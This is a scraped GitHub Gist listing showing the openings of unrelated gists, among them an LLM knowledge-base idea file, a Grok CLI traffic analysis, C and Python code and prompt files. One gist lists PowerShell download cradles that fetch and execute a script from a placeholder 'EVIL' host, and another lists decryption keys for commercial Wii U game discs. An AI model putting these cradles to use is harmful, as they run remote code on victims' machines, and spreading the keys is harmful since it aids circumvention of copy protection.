Skip to content

Instantly share code, notes, and snippets.

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

@cereblab
cereblab / grok-build-cli-wire-analysis.md
Created July 10, 2026 02:13
What xAI Grok Build CLI actually sends to xAI - a wire-level analysis (grok 0.2.93)

What xAI's Grok Build CLI Actually Sends to xAI: A Wire-Level Analysis

A measured, reproducible teardown. Findings are backed by captured artifacts (endpoint, HTTP method, status code, byte size, host) and repro commands; where an observation was seen live but not retained as a file, §7 says so explicitly. Section 8 is an evidence appendix with SHA-256s and a "what we did not prove" list. All captures are of my own traffic on my own machine, using a throwaway repository containing fake "canary" secrets — no real credentials were exposed.


0. Summary

xAI's official Grok Build coding CLI (grok), on a normal consumer login, does three things worth documenting precisely:

@ArgiesDario
ArgiesDario / listas_enlazadas.c
Last active July 12, 2026 16:57
Programación en C – Listas Enlazadas – Que son y cómo se usan
#include <stdio.h>
#include <stdlib.h>
typedef struct snodo{ //snodo es el nombre de la estructura
int valor;
struct snodo *sig; //El puntero siguiente para recorrer la lista enlazada
}tnodo; //tnodo es el tipo de dato para declarar la estructura
typedef tnodo *tpuntero; //Puntero al tipo de dato tnodo para no utilizar punteros de punteros
@Shivakishore14
Shivakishore14 / rootcode.py
Last active July 12, 2026 16:57
rootcode
from langchain_moonshot import ChatMoonshot
from langchain_openai import ChatOpenAI
from langchain.tools import tool
from langchain_core.messages import HumanMessage, SystemMessage, ToolMessage
import subprocess
import os
from dotenv import load_dotenv
load_dotenv()
@playboi-tiger
playboi-tiger / vot-node-translate-flow
Last active July 12, 2026 16:55
vot node translate
import { VOTWorkerClient } from "@vot.js/node";
import { videoData as vd } from "@vot.js/node";
const VOT_STATUS_FAILED = 0;
const VOT_STATUS_FINISHED = 1;
const VOT_STATUS_WAITING = 2;
const VOT_STATUS_LONG_WAITING = 3;
const VOT_STATUS_PART_CONTENT = 5;
const VOT_STATUS_AUDIO_REQUESTED = 6;
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active July 12, 2026 16:54
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@MuTLY
MuTLY / keys.txt
Last active July 12, 2026 16:52
Cemu keys
# this file contains keys needed for decryption of disc file system data (WUD/WUX)
# 1 key per line, any text after a '#' character is considered a comment
# the emulator will automatically pick the right key
541b9889519b27d363cd21604b97c67a # example key (can be deleted)
219FCB908520E9912D57444DFC136C23 # The Legend of Zelda: Breath of the Wild
566FCA3A88AA9255456635EDE688FD0B # The Legend of Zelda: Breath of the Wild EU
082fa2981e004defac03524cc685f693 # The Legend of Zelda: Breath of the Wild JPN
@lijigang
lijigang / notes-evolution.md
Created June 22, 2026 05:19
进化式笔记系统 — 用自然选择驱动个人知识库新陈代谢的模式

进化式笔记系统

一种用自然选择驱动个人知识库新陈代谢的模式。

核心想法

大多数人的笔记系统是图书馆:你写一篇笔记,它被归档,从此静静躺着。偶尔被翻出来,但更多时候永远沉底。笔记只会被「更新」——有新信息就补上去。它不会自己生长、不会淘汰过时的内容、不会发现两个从未被放在一起的想法之间有惊人的关联。Karpathy 的 LLM Wiki 解决了「编译」问题——让 LLM 帮你维护知识库的一致性和交叉引用。但它本质上还是一座越来越厚的百科全书。没有新陈代谢。

这里的想法不同。笔记不是静态文档,是有机体。整个笔记系统不是图书馆,是生态系统。有机体会繁殖、变异、竞争、死亡。生态系统会自发涌现出你从未预期的新物种。驱动这一切的引擎,是达尔文的三件套:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; 作者: 李继刚
;; 日期: 2025-11-12
;; 剑名: 圆桌讨论
;; 剑意: 构建一个以“求真”为目标的结构化对话框架。该框架由一位极具洞察力的主持人
;; 进行引导,邀请代表不同思想的“典型代表人物”进行一场高强度的、即时响应式的
;; 深度对话。主持人将在每轮总结时生成视觉化的思考框架(ASCII Chart),通过
;; “主动质询” 与“协同共建”,对用户提出的议题进行协同探索,最终生成深刻的、
;; 结构化的知识网络。